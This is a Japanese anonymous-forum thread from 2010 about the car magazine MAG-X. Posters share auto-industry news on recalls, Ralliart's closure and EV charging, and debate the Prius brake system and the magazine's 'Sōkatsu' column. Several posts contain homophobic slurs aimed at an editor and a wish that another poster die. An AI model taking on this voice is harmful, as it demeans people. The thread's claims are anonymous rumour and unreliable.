三菱自「ラリーアート」も今月末終了へ

 三菱自動車が、100%子会社でモータースポーツ関連事業会社「ラリーアート」の業務を今月末で終了することが9日、明らかになった。

 三菱自は、自動車のオフロード競技「ダカール・ラリー(通称パリ・ダカ)」と、世界ラリー選手権(WRC)から撤退しており、
モータースポーツ関連事業の縮小を一段と加速する。

 「ラリーアート」は三菱自のモータースポーツ活動支援などを行っているが、ここ数年、売り上げ不振で赤字が続いていた。
ブランド名は残す方針だ。

(2010年3月10日09時56分 読売新聞)
http://www.yomiuri.co.jp/atmoney/news/20100309-OYT1T01192.htm

549 :名無しさん@そうだドライブへ行こう:2010/03/11(木) 23:25:06 ID:fqBIQUbe0
三菱自元副社長ら、罰金確定へ リコール回避で虚偽報告
http://www.47news.jp/CN/201003/CN2010031101000702.html

550 :名無しさん@そうだドライブへ行こう:2010/03/12(金) 17:55:16 ID:n3arrO9pO
【社会】 トヨタの工場で、生産ライン上の車に「硫化水素充満中」張り紙→車内に期間従業員の自殺遺体…愛知★2
http://tsushima.2ch.net/test/read.cgi/newsplus/1268375446/

551 :名無しさん@そうだドライブへ行こう:2010/03/13(土) 01:21:16 ID:vwdAbUZW0
フタバ産業、ダイハツリコールの原因部品を製造
http://response.jp/article/2010/03/12/137603.html

フタバ産業は12日、3月11日にダイハツ工業が国土交通省に届け出たへ『ハイゼット』など3車種のリコールの原因となった緩衝装置
(ロアアーム)に関して、同社製の製品だと公表した。

同社製の前輪緩衝装置のロアアームのナックル連結部のかしめが不足しているものがあり、縁石などに衝突した場合、ロアアームから
ナックル連結部が外れて走行不能になるおそれがあるとしてリコールを届け出た。対象台数は27万4324台。

フタバ産業は今回のリコールで点検や交換、対策費用について、ダイハツから請求が見込まれ、その場合は、補償費用を特別損失として
計上し、金額については現在、ダイハツと協議中で、確定次第公表するとしている。

552 :名無しさん@そうだドライブへ行こう:2010/03/14(日) 18:23:13 ID:w0GrJtJo0
>>522
WEBサイトに一月だけ登録して総括記事全部DLすればいいじゃん

553 :名無しさん@そうだドライブへ行こう:2010/03/15(月) 11:10:55 ID:AaoSzYK50
こんなセキュリティ対応が甘いブログに
クレジット情報を教えるなんて命知らず

554 :名無しさん@そうだドライブへ行こう:2010/03/15(月) 12:58:56 ID:XoU1JG7R0
【自動車】東京電力と日産など5社、電気自動車の充電技術で協議会[10/03/15]
http://anchorage.2ch.net/test/read.cgi/bizplus/1268620605/

555 :名無しさん@そうだドライブへ行こう:2010/03/15(月) 23:20:18 ID:nsp8SQqh0
どうせ今月もワンパターンのジュネーブ・モーターショーレポート

556 :名無しさん@そうだドライブへ行こう:2010/03/15(月) 23:26:44 ID:S0BUatd/0
【日韓/自動車】 日本ダイハツの部品購入団が韓国訪問[3/15]
http://yutori7.2ch.net/test/read.cgi/news4plus/1268631051/

ダイハツ 「部品を韓国製にします、日本の部品はもういいです。」
http://tsushima.2ch.net/test/read.cgi/news/1268633460/

557 :名無しさん@そうだドライブへ行こう:2010/03/16(火) 10:54:20 ID:+QhvlRVv0
CHAdeMO協議会、ボッシュやPSAも参画
http://response.jp/article/2010/03/15/137697.html

電気自動車(EV)の急速充電器の標準化や普及を図る「CHAdeMO協議会」が15日発足し、日本の自動車や同部品メーカーなどのほか、
外国からも仏 PSA(プジョー・シトロエン・グループ)や独ボッシュなど19社が会員として参画した。

協議会はまず日本での標準化を策定し、世界各国・地域にも導入してもらい世界標準化をめざす。
日本では2009年夏から三菱自動車工業と富士重工業(スバル)がEVを発売したのに続き、
日産自動車も2010年秋から順次、米国、日本などでの販売に踏み切る。

急速充電器の標準化でも日本が先行する形となっており、外国企業は世界的なビジネスの展開などを狙いに協議会に参画した。
一方、日本の自動車メーカーではダイハツ工業を除く乗用車7社が会員として参加している。
ホンダは開発部門の本田技術研究所が会員となった。

558 :名無しさん@そうだドライブへ行こう:2010/03/16(火) 21:12:16 ID:qNbg+iBX0
4月号もまったく売れていない。

559 :名無しさん@そうだドライブへ行こう:2010/03/17(水) 10:35:03 ID:pqay2hlL0
トヨタ:苦戦の中国市場でリコールが追い打ち−戦略見直しの必要も
http://www.bloomberg.co.jp/apps/news?pid=90920009&sid=af71YaEvW3kI

カナダ議会がトヨタ<7203.T>のリコール問題で公聴会、政府への報告の遅れを非難
http://jp.reuters.com/article/marketsNews/idJPnJT861726820100316

560 :名無しさん@そうだドライブへ行こう:2010/03/17(水) 11:59:04 ID:Wb4hsDcF0
【自動車】独ダイムラーと仏ルノー、株式持ち合いに向け協議中=FT[10/03/16]
http://anchorage.2ch.net/test/read.cgi/bizplus/1268706667/

561 :名無しさん@そうだドライブへ行こう:2010/03/17(水) 19:03:24 ID:C0vafUmX0
直リン厨○んだらいいのに

562 :名無しさん@そうだドライブへ行こう:2010/03/17(水) 19:55:19 ID:KUnI8SGR0
毎度思うがここにアドレス貼ると何かあるんだろうか?

563 :名無しさん@そうだドライブへ行こう:2010/03/17(水) 20:32:27 ID:F+hKXkDU0
中の人にとって都合が悪いネタが書き込まれると
直後にコピペが貼られるんだよな

2ちゃんチェックばっかりやってないで
たまには取材しろよw


564 :名無しさん@そうだドライブへ行こう:2010/03/18(木) 09:41:20 ID:sVnSf0210
>>563
編集部批判以外の書き込みした後でも、流れ読まずに貼り付けられているがw

>2ちゃんチェックばっかりやってないで
>たまには取材しろよw

編集部が憎くて仕方ないのは分かるが、妄想はほどほどになw

565 :名無しさん@そうだドライブへ行こう:2010/03/18(木) 12:17:00 ID:nx9Ki2I50
保守

566 :名無しさん@そうだドライブへ行こう:2010/03/18(木) 12:43:06 ID:WiCXorRK0
【自動車】ホンダのハイブリッド車「CR─Z」、受注台数は8000台に
計画の8倍 受注の4割がマニュアル車
http://tsushima.2ch.net/test/read.cgi/newsplus/1268839179/

567 :名無しさん@そうだドライブへ行こう:2010/03/18(木) 13:00:33 ID:JJk3lJ5h0
>>558
この雑誌って立ち読み専用じゃないの?

568 :名無しさん@そうだドライブへ行こう:2010/03/19(金) 10:10:30 ID:GJlcuonV0
ジュネーブモーターショーの素人写真でページ埋め

569 :名無しさん@そうだドライブへ行こう:2010/03/19(金) 10:53:01 ID:FpKU+4jx0
国内新型車、ブレーキ優先装置の義務化検討 国交省
http://www.asahi.com/business/update/0318/TKY201003180510.html

抜粋

 国土交通省は18日、自動車のアクセルよりブレーキの機能を優先させる装置について、国内を走る新型車を対象に義務化する
検討を始めた。トヨタ自動車の車が米国で暴走した事故を受けての措置だ。

 「ブレーキ・オーバーライド・システム」と呼ばれる装置で、アクセルペダルが踏み込んだ状態から戻らなくなっても、
ブレーキを踏めば優先され、確実に止まる仕組み。米国で昨年8月、トヨタ車のアクセルペダルがフロアマットにひっかかって暴走し、
4人が死亡した事故では、車にこの装置がなく、必要性が指摘されていた。

 日本では、トヨタと日産自動車の一部の車種ですでに搭載されており、トヨタは一連の問題を受け、全車搭載の方針を表明している。
ホンダ、マツダは新型車に順次搭載する方針を決定。三菱自動車と富士重工業も時期は未定だが搭載の方針だ。
軽自動車が主力のスズキとダイハツ工業も検討しているが、
軽はブレーキ優先システムに対応できる電子制御システムを採用していない車種もあるという。

570 :名無しさん@そうだドライブへ行こう:2010/03/19(金) 23:43:10 ID:xKREyGjf0
ほんとに貼りまくり。
なにがしたいのか、馬鹿めが

571 :名無しさん@そうだドライブへ行こう:2010/03/20(土) 22:51:25 ID:P0BjcJxJ0
ウイルス撒き散らしブログ

572 :名無しさん@そうだドライブへ行こう:2010/03/21(日) 07:51:35 ID:1R8vqGYb0
>>571
何必死になってんだ、こいつw

573 :名無しさん@そうだドライブへ行こう:2010/03/21(日) 08:21:25 ID:9McKzqiY0
前車バイワイヤになるのか?

574 :名無しさん@そうだドライブへ行こう:2010/03/21(日) 19:44:24 ID:w2wXoVDt0
ぜんぜん売れていないから
「特別定価」とか読者偽って
今月号からまた値上げする気だろw


575 :名無しさん@そうだドライブへ行こう:2010/03/22(月) 14:36:59 ID:QCfxS1U30
>>555
それと
「積雪のおかげでカー用品店が一息つけた」って記事かな

576 :名無しさん@そうだドライブへ行こう:2010/03/22(月) 19:52:13 ID:u94UmGcf0
もう過渡期だと思うよ
打開策も見いだせないし
あっさり身を引くのもいいんでないの
唯一の功績になると思うよ、馬鹿の

577 :名無しさん@そうだドライブへ行こう:2010/03/23(火) 11:41:54 ID:VeZpJIyd0
韓国「バンクーバー五輪キム・ヨナ記念コイン」実は外国製 裏にはエリザベス2世の肖像
http://namidame.2ch.net/test/read.cgi/poverty/1269308346/

578 :名無しさん@そうだドライブへ行こう:2010/03/23(火) 12:25:39 ID:1lovEGvn0
大丈夫か?トヨタ リコール問題真っ只中でも章男社長はレースに夢中
http://news.livedoor.com/article/detail/4673901/

この大変な時期に、社長は何をやっているのか。
リコール問題で大揺れのトヨタは15日、5月に行われる「ニュルブルクリンク24時間
耐久レース」への3年連続の参戦を発表した。
「それはいいのですが、問題はその日の章男社長のブログです」(トヨタ関係者)
豊田章男社長は「ドライバーモリゾウ」の名前でブログをやっている。自身が参加する
レースの様子などをリポートしているのだ。15日のブログも、冒頭こそ〈この度のリコ
ールでは、皆さんをはじめ、多くのお客様にご迷惑とご心配をおかけし、大変申し訳
ありません〉と、謝罪で始まっているが、あとはレースのことばかり。
〈モリゾウも、昨日テストコースで参戦車両のテストをして、いい汗をかくことができま
した〉
〈昨年とはまた、一味違い安定感があり疲れにくいクルマに仕上げてくれています〉
〈今年もレースの模様はGAZOO RacingのWebサイトでライブ中継します〉
リコール問題のさなかにレースカーに試乗したことを喜々として報告するとは……。
「あまりに能天気と思われかねない。謝罪だけにとどめておいて欲しかったというのが
ホンネです」(前出のトヨタ関係者)
章男社長のレース狂いは有名だ。社長就任直前の昨年5月には、同レースにドライバ
ーとして参戦。その際も「危機意識が低い」と社内外から批判を浴びた。さすがに今年
は社長の参戦はないだろうが、危機意識の低さは変わっていないようだ。

579 :名無しさん@そうだドライブへ行こう:2010/03/24(水) 01:49:45 ID:1nlHQ9X70
車に興味が無いヤツが社長になるより余程マシだろw
レースに参加=無駄、と言ってる時点で、そいつは車好きでは無いなw



580 :名無しさん@そうだドライブへ行こう:2010/03/24(水) 02:12:52 ID:zPmEHnjY0
>>578
ホンダの社長が F1マシンとかWGPマシンに乗って遊ぶと
さすがホンダの社長! 遊び心があって素晴らしい! なんて大絶賛なのに
トヨタの社長は道楽息子呼ばわりされるんだよな。 カワイソス。w

581 :名無しさん@そうだドライブへ行こう:2010/03/24(水) 02:15:48 ID:sxxENj020
>>580
企業風土やろねw
ホンダの場合はエンジニア出身の社長じゃないと「終わったなホンダも」みたいな感じだし

582 :名無しさん@そうだドライブへ行こう:2010/03/24(水) 03:05:03 ID:0B569c2C0
だけどテレ東の番組では友部氏にゴルフの話題ばっかり振ってたね>伊東社長

583 :名無しさん@そうだドライブへ行こう:2010/03/24(水) 12:17:54 ID:V4VxCjDd0
保全

584 :名無しさん@そうだドライブへ行こう:2010/03/24(水) 12:39:57 ID:VHc3dL4J0
>>580
ホンダの場合は、自社PRの場で社長自らが乗って、周りを驚かせるって演出だったからな。
自社が大変な時に、ブログでレース談義してたら、ホンダの社長でもたたかれると思う。



585 :名無しさん@そうだドライブへ行こう:2010/03/25(木) 22:23:06 ID:LBWof5sz0
トヨタがグループの国内生産体制再編へ、車種集約
http://jp.reuters.com/article/topNews/idJPJAPAN-14506920100325
[東京 25日 ロイター]

 トヨタ自動車(7203.)は25日、ダイハツ工業(7262.)や日野自動車(7205)を含めたグループ全体の
国内生産体制を再編する方針を明らかにした。
現在トヨタはグループで17工場が国内でそれぞれ複数の異なる車種を製造している。

 同じ車種でも生産が複数の工場にまたがることもある現状を見直し、今夏までに再編計画を策定、2010年代中に
工場間での車種移管などを行う方向で検討している。広報部が明らかにした。

 トヨタは金融危機以後の生産急減で採算が悪化、2010年3月期は2期連続の連結営業赤字を見込む。
生産水準は回復傾向にあるものの、独フォルクスワーゲン(VW)(VOWG.DE)や韓国・現代自動車(005380.KS)などが
コスト・品質両面で追い上げつつあり、生産台数が大幅に回復しなくとも利益が安定的に確保できる体制を目指している。

586 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 10:43:36 ID:x6wnPPg70
16 :名無しさん@そうだドライブへ行こう:2010/03 /17(水) 10:19:55 ID:Yrql5kZc0
ここの編集部にオカマの童貞(35)がいる
http://namidame.2ch.net/test/read.cgi/car/1238227379/l50

587 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 10:45:38 ID:oDaqTN1l0
オカマが童貞なのは当たり前なのじゃなくて?

588 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 11:14:27 ID:/hvlKXgY0
バイw

589 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 11:30:27 ID:kayEuG4e0
バイセクシャル ばいせくしゃる
■bisexual

■両性愛者。
ヘテロセクシャル(異性愛者)やホモセクシャル(同性愛者)に対し、男性にも女性にも性的な魅力を感じる人のこと。
またそういうライフスタイルを送ること。バイ、バイセクと略されることも。

はてなキーワード
ttp://d.hatena.ne.jp/keyword/%A5%D0%A5%A4%A5%BB%A5%AF%A5%B7%A5%E3%A5%EB

590 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 11:31:14 ID:rYVNJ3k60
発売日くらい雑誌の話をしろよ

591 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 12:47:30 ID:wyPcgVZH0
日産もダイムラー出資か ルノー加え、3社株持ち合いも
http://www.asahi.com/business/update/0326/TKY201003250574.html

592 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 22:00:16 ID:NNzFn6n20
トヨタが総括に電話で反論してきたぞw
さすがに放置して置けなくなったか
総括の影響力をww



593 :名無しさん@そうだドライブへ行こう:2010/03/26(金) 23:14:10 ID:KdR9+a5R0
総括がパージ(purge)されたなんてジョークにもならないw

594 :名無しさん@そうだドライブへ行こう:2010/03/27(土) 01:11:22 ID:BNF3qy9R0
ついに馴染みの書店での扱いが1冊だけになった
もうだめだろ

595 :名無しさん@そうだドライブへ行こう:2010/03/27(土) 01:14:29 ID:jMP76KOi0
>>594
お前が行く前に全部売れちゃったんだよ、きっと

596 :名無しさん@そうだドライブへ行こう:2010/03/27(土) 05:58:14 ID:3v/AEZm60
>>594が言いたいのは馴染みの書店がもうだめだって事だろ

597 :名無しさん@そうだドライブへ行こう:2010/03/27(土) 07:49:41 ID:Ra9QyeDj0
今月号を買わなかった。カーアンドドライバーも買わなかった。
NAVIは休刊だし。ベストカーとディズニーファンだけ買った。

598 :名無しさん@そうだドライブへ行こう:2010/03/27(土) 18:16:22 ID:CYCf/eRW0
>>594は自分の人生を悲観してるんだろう


599 :名無しさん@そうだドライブへ行こう:2010/03/27(土) 23:20:41 ID:rLGFT0bd0
今月号もとりあえずスペース埋めただけw

600 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 00:34:24 ID:FO4ZTXCf0
保守します

601 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 00:35:34 ID:FO4ZTXCf0
株式の専門家におかしな記事をアドバイスしてもらったのか
トヨタグループ関係の話で、日野、ダイハツなど連結子会社(傘下)と関連企業の区別がやっと分かったみたいだw

602 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 01:29:37 ID:H66nGvDC0
>>592
俺的には、CGが今年中にも廃刊するかも・・・・・てのがビックリだわ。
もしそうなったら、買う雑誌がFロードとMAG-Xぐらいになってしまうなあ・・・・

603 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 01:38:15 ID:GT3a3ou/0
CGは、あのりコール隠しの三菱車を長期レポートを始めた時点で「焼きが回った」と確信した。

604 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 03:02:15 ID:1iUtzZWi0
つーか、あの記事ってカーグラの買い手が決まる前に書かれてるよね

605 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 11:36:40 ID:kzwvLe/T0
メーカーから車を下賜(かし)されるかな

606 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 12:58:55 ID:zCaokxvf0
トヨタ叩きが捏造だったことが明らかになり騒動が鎮静化しつつあるのに
今月号はトヨタ叩き記事で満載。
あまりに紙面を割いたので差し替えできなかったんだな。
明らかに浮いてる論調だった。

607 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 14:17:55 ID:fLsWqcZV0
ネタの鮮度でウェブに勝てるわけないしな



608 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 18:23:44 ID:c6eUDrwI0
この雑誌のブログ、マルウェアしこんであったみたいだけど

よく寄稿している「すぎもとたかよし」さんのブログ見に行ったらブラウザがマルウェア警告してきたw。
同類相哀れむなんかなぁ。新車心象風景好きなんだけど。

過去の総括読みたいんだけどこんなサイトだとクレカ番号入力する気になれない。
何とかしてほしい。

609 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 22:42:01 ID:73g/pinu0
鮮度以前にセンスが無い 枯れている
何度リニューアルしても無意味w

610 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 22:42:46 ID:Sz2Dc2OV0
清水和男さんの記事を読んだ後で、最新号のMAG−Xを読むと
総括も落ちぶれた事がはっきりわかるな。
多系統ブレーキについて理解できないなら、原稿を書かなければいいのに。
福野が去った後の劣化はひどかったが、ココまで落ちぶれたらもう廃刊でいいよ、この雑誌。

611 :名無しさん@そうだドライブへ行こう:2010/03/28(日) 23:00:37 ID:jMUtqjLk0
>>610
同意。
総括のエセ技術者はこれ、
ttp://minkara.carview.co.jp/userid/360795/blog/p3/
とホリデーオートの記事を100回音読してから謝罪記事を書けよw

612 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 00:23:20 ID:WXvWuSjH0
あれ、今の総括って両角さんが書いてないの?
2008年ぐらいから「全天候型スポーツ」「ダンパーにあと1000円」「ここにいる実験ドライバーと」
といういつもの両角節が見られなくなったんだけど

613 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 00:38:29 ID:cfgs67kD0
清水和男って久しぶりに見たけど
いつからあんなキャラになったの?

614 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 10:30:08 ID:H3WEDNj20
>>610
なら、ちゃんと名前ぐらいは正しく書けよw
何が「清水和男」だwww

615 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 11:02:05 ID:0P6HgO330
引越作業中にセプター(カムリワイドって報じてたが)のスクープの頃のXが出てきた。
あの頃は写真の扱いが、ドキドキさせる感じでよかったな。
切った貼ったの写真になっても、手元にある写真はなるべく載せて
見せようとするハートとか、よかったなぁ。
あの頃は、未知の新型車や新技術が世に出始める直前だったから
それもドキドキしながら見てたなぁ。
カルディナのエアリアルとかルシーダのスカイキャノピーとか、
売るわけがないと思う車が出てきたりして、楽しかったなぁ。


616 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 11:15:56 ID:H3WEDNj20
>>611
あーあ、総括に書いてあることを、久しぶりに真面目に読んだなw

>ホリデーオートの記事を100回音読してから謝罪記事を書けよw
うーん、清水氏のブログと総括に書かれた内容のどこが違うのか分からんねw

要は、清水氏のブログ(ホリデーオート等)で言ってるのは、
プリウスには、回生ブレーキの他に、電動ポンプ式の油圧ブレーキと、機械式油圧ブレーキの2系統があって、
この油圧ブレーキの切り替えに問題があったと。

総括に書かれているのは、
プリウスの構造見た限りでは、ブレーキペダルの踏み込み量を感知して作動する通常の油圧ブレーキと、ABS系によるブレーキ制御を分けて
油圧ブレーキを2系統と主張しているとしか考えられないと。

ここで問題になるのは、清水氏らの言ってる、2系統の油圧ブレーキの正体は何か?ということになるなw

617 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 11:56:55 ID:Rf6nzHby0
季刊から月刊になると内容が薄くなると言うジンクス

618 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 13:10:49 ID:aA8xrCa60
買うつもりで軽自動車乗り比べなんて書いてたけど
そこにiMIEV入ってくる時点で乗る気ナッシングって感じなんだけど

619 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 20:27:24 ID:z9DREtkD0
MAG-X読んでみた。
X字配管が何のためにあるのかを考えずに
液圧回路が2重になっている、あるいは2分割されている場合が
”自動車技術のお約束だったと思います”…
ってこいつ本当に"元部品メーカーのエンジニア"か?
あの構成なら、ブレーキフルードに漏れが発生しても
ソレノイドを閉じれば、別のブレーキは使えるだろ。

仮に電気故障が発生してリニアバルブ制御の油圧系統が使えなくとも
ハイドロブースター油圧系統が使えるから2系統。
こう考えられない頭の固さは致命的だな。

620 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 21:01:40 ID:Gq4nRIrL0
>>616
総括の記事なんざ、ケツで考えて足で書いてるから真面目に読む必要なし。
いきなりEBCとか間違えるは、先月の写真の間違いを編集部のせいするは
自分の書いた記事も見直さないとか、物書きとしては三流。

>>619
だな。配管が2本ずつないから1系統って
字面を追いかけて揚げ足取りをしてるだけ。どこまで昭和脳なんだろう。
本質は不具合が起こった際にそれをカバーする方法が用意されているかどうか。

621 :名無しさん@そうだドライブへ行こう:2010/03/29(月) 23:46:42 ID:pMcRD/5s0
総括
プリウスのブレーキを語る人から抜粋
・事情通:オレには意味がわからないけど←じゃあ書くな
・ベテラン実験ドライバー:あれで間違ってないはずだ←自分で裏を取れ
・エンジニアリングコンサルタント:オレはそう思う←お前の意見じゃなくて事実を書け
・ベテラン実験ドライバー:3代目はどうなんだろう?←自分で調べろよベテランなんだろw

じっくり読むと
それらしく技術用語を散りばめてそれらしく書いているけど、すべて衒学
薄っぺら。写真や図も編集部に丸投げで、技術的裏づけは皆無。

こんなの信じるやつは、メカ音痴のオカマかポン引き。

622 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 00:44:04 ID:ymuN3nj90
>621
だって、一人で複数居るように書いてるってボンバーがバラしてたし。

623 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 07:57:45 ID:EFDGvWJy0
まあ総括のレベル低下は今に始まった話じゃないんで今更なんだけどね…
それでも普段見下してるメーカーから突っ込みが入るようになったってのもどうなのよと


624 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 10:52:38 ID:MaBjwpIV0

今年も税金ごまかしで頭がいっぱいで、
車雑誌なんかやってらんないってかw

625 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 11:11:58 ID:6yIAynpD0
保全

626 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 19:02:56 ID:E8tspuDJ0
総括に叩かれた与太関係者が必死だなw

627 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 19:54:24 ID:rY1WhTlf0
総括のメンバーって車メーカー関係ばかりのハズなのに、語っていることが国内向け目線ばかり
だったことがオカシイことに今になって気付いた。

輸出商品である車だからこそ海外向けとの違いについて触れた話が今でなかった様な気がした
のは......やっぱり創作座談会だったからなのねw

今更の話?

628 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 23:27:08 ID:zEGNap940
ざ・総括は対談形式を装った、技術的裏づけが皆無の衒学オナニーと総括されました。

629 :名無しさん@そうだドライブへ行こう:2010/03/30(火) 23:31:23 ID:NbSkEeM20
ところで
>>616
の頭が固いメカオンチくんの反論はまだ?
そのまま逃げるの?


630 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 00:28:17 ID:aQWvtuJE0
>>629
反論は無理無理w

"清水氏のブログと総括に書かれた内容のどこが違うのか分からん"
"清水氏らの言ってる、2系統の油圧ブレーキの正体は何か?"

と書くほどの文盲&論理的思考が苦手な奴だから。

631 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 01:46:31 ID:zet2Pj4G0
>>629
ああ規制に巻き込まれていたわw

ホリデーオート読んでみたが、あの油圧ブレーキシステム、
わざわざ2系統に分けて、回生ブレーキと併せて3系統!と威張るほどではない罠w

要は通常時にソレノイドバルブ介して、油圧をかけているのを、
ブレーキ踏み圧によっては、ハイドロブースターから直接油圧をかけている、それだけ。
これは2系統のブレーキ制御システムのうち、油圧ブレーキシステムの方の「制御」がうまくいってなかったと言うべきだろうなw

わざわざ3系統なんて言うのは、2代目プリウスからコストダウンしたブレーキシステム、なんて一部で騒がれたから(事実だがw)、
「そんなことはない!ちゃんと3系統に分けて制御しています!(キリッ)」、とw

しかし、総括もECBシステムの図面ぐらいは載せておかないと、文章だけでは訳が分からんぞw

632 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 01:52:01 ID:zet2Pj4G0
>>626
ああ、>>619-621あたりの流れが笑えるなw
そんなに必死にならなくても良いと思うが

2代目プリウスについて、「ブレーキシステムは2系統」とトヨタ自ら言ってたのに
3代目は、油圧の流れを状況に応じて変えるだけで、いきなり3系統のブレーキシステムとかw

まあ、頑張ってハイブリッドを横展開するために、コストダウンした努力は認めるがね。


633 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 01:56:07 ID:zet2Pj4G0
>>623
まあね。

今回の総括にしても、わざわざX字配管なんて持ち出すことはないと思うがなぁ
外国の部品メーカー崇拝もほどほどにして欲しい罠。

634 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 09:30:55 ID:qeQS2PgO0
まあそれだけトヨタ車の品質が悪いってことだよ

635 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 10:12:21 ID:zet2Pj4G0
ttp://jbpress.ismedia.jp/articles/-/3056

>振り返ると3年ほど前からなのだが、欧州の自動車技術者(複数)と会って話を交わす中で、1つの問いを投げかけられるようになっていた。
>「トヨタの『プロダクトクオリティー』が下がってきているが、どう思う?」

そういや、内装剥がして自分でスピーカー交換しちゃうような知り合いが、今GS乗ってるけど、
ばらした時に露わになる造りが安っぽくて涙が出るって言ってたなw
値段が同等のドイツ車とは比較にならんと


636 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 10:26:48 ID:OgoJFVr10
同程度のドイツ車って何

637 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 11:05:34 ID:zet2Pj4G0
>>636
M社とかB社、あとA社の車だな。

638 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 11:18:39 ID:JbRDUEKh0
>633
> 外国の部品メーカー崇拝もほどほどにして欲しい罠。

総括はいろいろ聞いたのを一人が纏めてるみたいだけど、デザインやエンジンとか部品メーカー側に近い人とかだからなぁ。

639 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 11:30:41 ID:avHVGPlf0
トヨタ出身のダイハツ社長、お客様を連中呼ばわり
http://namidame.2ch.net/test/read.cgi/sfe/1146077748/

640 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 11:50:14 ID:zet2Pj4G0
>>638
総括の記事内容は、モーターファン別冊紙でメーカーや元技術者相手に取材した内容を、牧野氏?が座談会形式に纏めたものだからなあ。
それをヨタ関係者は、「対談形式を装った、技術的裏づけが皆無の衒学オナニー」という方向で何とか持っていきたいみたいだけどw

641 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 11:52:59 ID:qEJSS01g0
親のトヨタを落して子ダイハツを持ち上げる変な本だな

642 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 21:28:26 ID:ctc8sNwj0
今月号もぜんぜん売れてない

643 :名無しさん@そうだドライブへ行こう:2010/03/31(水) 23:34:08 ID:NVZ1+DWn0
【自動車】ダイハツ、「タント」など2車種11万4358台をリコール[10/03/31]
http://anchorage.2ch.net/test/read.cgi/bizplus/1270017933/

644 :名無しさん@そうだドライブへ行こう:2010/04/01(木) 19:10:25 ID:W7/OpWEO0
最近面白くない・・・

645 :名無しさん@そうだドライブへ行こう:2010/04/01(木) 19:18:26 ID:Xd2LY4AV0
>>640
裏のMFiだからねw

646 :名無しさん@そうだドライブへ行こう:2010/04/01(木) 21:52:45 ID:wz9Y+Hlb0
本当に技術者たちが集まっていると思っている人ってけっこういるのね。
今さらながら関心。
どう見ても一人の人間が自分の知っている範囲をバラしてまとめているだけだろ。


647 :名無しさん@そうだドライブへ行こう:2010/04/01(木) 22:35:05 ID:V3lBj4AJ0
>>646
まだいるのかw
粘着だねwww

648 :名無しさん@そうだドライブへ行こう:2010/04/01(木) 23:04:57 ID:SiAtq6IM0

ジュネーブモーターショーのレポート

まったく面白くない


649 :名無しさん@そうだドライブへ行こう:2010/04/01(木) 23:34:50 ID:V3lBj4AJ0
面白くないなら何度も見なきゃいいのにw

650 :名無しさん@そうだドライブへ行こう:2010/04/02(金) 10:27:17 ID:meXhw3tN0
米国のトヨタネガティブキャンペーンは失敗 トヨタの米販売前年比で4割増
http://tsushima.2ch.net/test/read.cgi/news/1270161402/

クソ雑誌MAG-Xで個人的にトヨタ嫌いなだけのバカが、回復に10年はかかるとか叩いてたのになww



651 :名無しさん@そうだドライブへ行こう:2010/04/02(金) 22:40:53 ID:AAqC6z8M0
書き込みたい人ここ使って下さって結構です
http://sports2.2ch.net/test/read.cgi/kouhaku/1268042051/

652 :名無しさん@そうだドライブへ行こう:2010/04/03(土) 09:19:17 ID:6EYoVFKP0
トヨタ社員の歯ぎしりが心地よいスレ

653 :名無しさん@そうだドライブへ行こう:2010/04/08(木) 15:46:13 ID:ocqdkdkJO
てす

654 :名無しさん@そうだドライブへ行こう:2010/04/09(金) 23:33:58 ID:wtH0CouA0
リコールの届出について(三菱 ランサーエボリューション)
三菱自動車工業株式会社から、平成22年4月8日国土交通大臣に対して、下記のとおりリコールの届出がありましたので、お知らせします。

国土交通省
ttp://www.mlit.go.jp/report/press/jidosha08_hh_000554.html

655 :名無しさん@そうだドライブへ行こう:2010/04/09(金) 23:42:05 ID:F3CYRJN3O
てす

656 :名無しさん@そうだドライブへ行こう:2010/04/10(土) 12:07:02 ID:C3Xc79/20
おお。込めるようになた。

657 :名無しさん@そうだドライブへ行こう:2010/04/10(土) 13:24:18 ID:C3Xc79/20
しまった。こんなクソ雑誌のスレに誤爆してしまった。
少し読んだら、オタと厨房とカスしかいねえじゃんか、ここってw
まあ、誰も知らんバカ雑誌など読んで盛り上がる変態だから、
しゃあーねーかあwww




658 :名無しさん@そうだドライブへ行こう:2010/04/10(土) 20:54:20 ID:RjpVPZau0
国沢乙

